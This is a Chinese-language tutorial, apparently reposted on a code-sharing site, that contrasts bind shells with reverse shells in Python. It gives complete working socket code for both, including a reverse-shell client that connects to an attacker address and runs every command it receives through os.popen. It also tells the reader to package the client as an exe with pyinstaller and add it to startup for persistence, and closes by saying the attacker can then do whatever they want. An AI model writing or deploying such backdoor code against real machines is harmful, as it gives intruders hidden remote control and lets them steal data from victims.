python shell與反彈shell


python shell與反彈shell

正常shell需要先在攻擊端開機情況下開啟程序,然后攻擊端運行程序,才能連接

反彈shell,攻擊端是服務端,被攻擊端是客戶端
正常shell,攻擊端是客戶端,被攻擊端是服務端 

反彈shell,先啟用服務端,再啟用客戶端

反彈shell的好處就是:一旦被攻擊端開機,立即連接上攻擊端(需要攻擊端一直運行)

shell:

客戶端: 

import socket s=socket.socket() s.connect(("192.168.0.114",1234))   #連接的服務器的ip地址,端口
for i in range(10): com=input("command:") s.send(com.encode()) #發送信息
    d=s.recv(1024)           #接受數據的大小
    print(d.decode(),len(d))

服務端: 

#服務器端
import socket import os s=socket.socket()   #創建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.bind(('0.0.0.0',1234))    #綁定地址和端口#0.0.0.0接收任意客戶端ip連接
s.listen(5)                 #調用listen方法開始監聽端口,傳入的參數為等待連接的最大數量
con,addr=s.accept()     #接受一個客戶端的連接 #print(con,addr)

for i in range(10): cmd=con.recv(1024) print(cmd) command=cmd.decode() if command.startswith("cd"): os.chdir(command[2:].strip())   #切換路徑
        result=os.getcwd()      #顯示路徑
    else: result=os.popen(command).read() if result: con.send(result.encode()) else: con.send(b"OK!")

測試:(客戶端(win10)、服務端(win7))

1.把服務端打包成exe文件,然后在win7運行打包好的exe文件,python打包成exe文件這里推薦pyinstaller模塊(需要安裝,安裝方法不會的百度)

打包成exe文件時最好打包成文件夾,如何打包成單個exe文件,在win7中運行可能會出題。下圖就是打包的文件夾,雙擊運行圖中exe文件

  

2.在win10運行客戶端 

反彈shell:

客戶端: 

#反彈shell,攻擊端是服務端,被攻擊端是客戶端 #正常shell,攻擊端是客戶端,被攻擊端是服務端 #例:攻擊端(win10),被攻擊端(win7),正常shell,先在win7啟動服務端,再在win10啟用客戶端 # 反彈shell,先在win10啟用服務端,再在win7啟用客戶端 # 反彈shell的好處就是:一旦被攻擊端開機,立即連接上攻擊端(需要攻擊端一直運行) # 正常shell需要先在攻擊端開機情況下開啟程序,然后攻擊端運行程序,才能連接 
import socket import os import sys import time #print(sys.argv) #hacker=sys.argv[1]
hacker="192.168.0.144" port=1234 server=(hacker,port) s=socket.socket() s.connect(server) while 1: # 得到被攻擊端的所在目錄,並發送
    dir=os.getcwd() #print(dir)
 s.send(dir.encode()) # 接收來自攻擊端(服務器端)的命令,並進行處理
    cmd=s.recv(1024).decode() # 對接收的命令做出判斷
    # 退出
    if cmd=="exit": break
    elif cmd.startswith("cd"): os.chdir(cmd[2:].strip()) result="切換目錄成功!"
    else: result=os.popen(cmd).read() if not result: result="命令執行完畢!" s.send(result.encode()) time.sleep(1) s.close() print("退出!")    

服務端: 

import socket import time server=("0.0.0.0",1234) s=socket.socket() s.bind(server) s.listen(5) con,addr=s.accept() print(addr,"已經接入!") while 1: #接收來自被攻擊端的所在目錄
    dir=con.recv(1024).decode() cmd=input(dir+":").strip() con.send(cmd.encode()) if cmd=="exit": break result=con.recv(65365) print(result.decode()) time.sleep(1) s.close() print("退出!")    

測試:

1.先在win10運行反彈shell服務端

2.再把反彈shell客戶端打包成exe文件夾,復制到win7中,然后雙擊運行

3.這時可以看到服務端(win10)已經和客戶端(win7)連接上了。#只要服務端一直運行,如果把客戶端的程序加入到開機自啟,這樣客戶端已開啟就被連接到服務端  

 4.接下就可以為所欲為了  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM